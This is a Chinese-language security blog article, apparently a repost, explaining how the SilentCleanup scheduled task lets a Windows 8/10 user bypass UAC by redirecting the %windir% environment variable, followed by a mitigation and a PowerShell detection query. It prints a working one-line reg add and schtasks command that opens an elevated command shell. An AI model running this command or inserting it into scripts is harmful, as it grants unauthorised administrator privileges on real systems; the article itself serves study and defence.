當前位置:
首頁 > 新聞 > 如何使用SilentCleanup繞過UAC?

如何使用SilentCleanup繞過UAC?

0x00 前言

最近我在James Forshaw?的博客學到了一個Win10下繞過UAC的技巧,該方法通過腳本實現,並且目前微軟還未對該繞過方法進行修復(預計在Win10 RS3修復)。經過我的學習測試,該方法同樣適用於Win8,並且文中介紹的繞過思路很值得學習,因此整理成文,分享給大家。

文章地址如下:

https://tyranidslair.blogspot.co.uk/2017/05/exploiting-environment-variables-in.html

0x01 簡介

本文將要介紹以下內容:

繞過思路

利用方法

0x02 繞過思路

在之前文章也分享過一些繞過UAC思路的心得,可參考以下文章:

https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-sdclt.exe-to-bypass-UAC/

https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.1(Monitor-WMI_ExportsToC++_Use-DiskCleanup-bypass-UAC)/

個人認為尋找繞過UAC的方法可分為以下兩個步驟:

1、尋找許可權控制不嚴格的程序

通常具有以下特點:

以普通用戶許可權啟動程序

程序默認以高許可權啟動,通常標記為Highest

2、該程序啟動過程是否可被劫持

啟動路徑是否可被劫持

啟動過程載入的問題(如dll)是否可被劫持

0x03 利用方法

對應到James Forshaw?的方法,也是優先尋找許可權控制不嚴格的程序——計劃任務中的SilentCleanup

註:

Matt Nelson之前也介紹過一個利用SilentCleanup繞過UAC的方法,目前已被修復,文章地址如下:

https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/

計劃任務中的SilentCleanup:

普通用戶許可權即可啟動

啟動後自動提升為高許可權

通過Powershell可以獲取更多細節,代碼如下:

$task = Get-ScheduledTask SilentCleanup$task.Principal

註:

Win7默認powershell版本2.0,不支持Get-ScheduledTask操作

如下圖

Authenticated Users表示普通用戶許可權即可啟動

RunLevel為Highest表示以高許可權啟動

查看啟動參數,powershell代碼如下:

$task.Actions[0]

如下圖

註:

%windir%默認指向c:Windows

如果修改當前系統環境變數,指向其他路徑,那麼這裡就實現了一個劫持

例如:

將%windir%設置為c:test

在c:testsystem32下將payload.exe保存為cleanmgr.exe

那麼在啟動計劃任務SilentCleanup時,就會以高許可權啟動payload.exe,實現了UAC繞過

更直接的利用方法:

注:

cmd後面需要加參數,否則由於參數問題導致無法正常啟動

/k表示彈出的cmd.exe在執行代碼後不退出

reg add hkcuEnvironment /v windir /d "cmd /K reg delete hkcuEnvironment /v windir /f && REM "schtasks /Run /TN MicrosoftWindowsDiskCleanupSilentCleanup /I

註:

以上代碼來自於https://gist.github.com/tyranid/729b334bf9dc0f38184dbd47ae3f52d0#file-disk_cleanup_uac_bypass-bat

完整操作如下圖

GIF/72K

注:

0x04 防禦檢測

1、防禦

管理員許可權:

$action = New-ScheduledTaskAction -Execute $env:windirSystem32cleanmgr.exe -Argument "/autoclean /d $env:systemdrive"Set-ScheduledTask SilentCleanup -TaskPath MicrosoftWindowsDiskCleanup -Action $action

註:

如下圖

2、檢測

通過powershell尋找計劃任務中是否還存在可供利用的服務,代碼如下:

$tasks = Get-ScheduledTask | Where-Object { $_.Principal.RunLevel -ne "Limited" -and $_.Principal.LogonType -ne "ServiceAccount" -and $_.State -ne "Disabled" -and $_.Actions[0].CimClass.CimClassName -eq "MSFT_TaskExecAction" }

註:

以上代碼來自於https://gist.github.com/tyranid/92e1c7074a9a7b0d5d021e9218e34fe7#file-get_scheduled_tasks-ps1

如下圖,可供利用的服務一共有四個,經測試,其他三個無法實際利用,只有SilentCleanup有效

0x05 補充

該方法同樣適用於Win8環境,完整操作如下圖

GIF/50K

Win7系統不包含計劃任務SilentCleanup,因此無法利用

0x06 小結

本文介紹了通過計劃任務SilentCleanup繞過UAC的方法,該方法僅需要通過腳本向當前用戶註冊表寫入鍵值即可,簡單有效。

點擊展開全文

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

ImageMagick再爆嚴重漏洞,可導致雅虎郵箱用戶郵件內容泄漏
一次用 7個NSA 武器的新 SMB 蠕蟲——永恆之石
外媒:中國遊戲服務公司iGSKY入侵Xbox賬戶,並涉嫌洗錢
App Store里的色情應用生態:偽裝、誘導付費、竊取你的隱私信息

TAG:嘶吼RoarTalk |